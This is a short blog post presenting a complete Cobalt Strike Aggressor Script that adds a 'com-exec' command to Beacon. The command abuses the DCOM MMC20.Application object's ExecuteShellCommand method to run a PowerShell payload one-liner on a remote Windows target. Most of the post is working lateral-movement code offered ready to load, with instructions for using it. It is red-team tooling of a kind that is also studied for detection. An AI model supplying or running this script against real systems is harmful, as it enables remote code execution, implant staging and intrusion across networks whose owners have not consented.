This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there’s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you.

Matt Nelson’s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target’s configuration for other post-exploitation options.

In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike’s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script’s goals.

Here’s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon’s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement.

# Lateral Movement alias
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
"Synopsis: com-exec [target] [listener]\n\n" .
"Run a payload on a target via DCOM MMC20.Application Object");

# here's our alias to collect our arguments
alias com-exec {
if ($3 is $null) {
# let the user choose a listener
openPayloadHelper(lambda({
com_exec_go($bid, $target, $1);
}, $bid => $1, $target => $2));
}
else {
# we have the needed arguments, pass them
com_exec_go($1, $2, $3);
}
}

# this is the implementation of the attack
sub com_exec_go {
local('$command $script $oneliner');

# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");
return;
}

# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");

# generate a PowerShell one-liner to run our alias
$command = powershell($3, true, "x86");

# remove "powershell.exe " from our command
$command = strrep($command, "powershell.exe ", "");

# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
$script .= $2;
$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
$script .= '", $null, "';
$script .= $command;
$script .= '", "7")';

# run the script we built up
bpowershell!($1, $script);

# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);
}

This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use.

That’s it!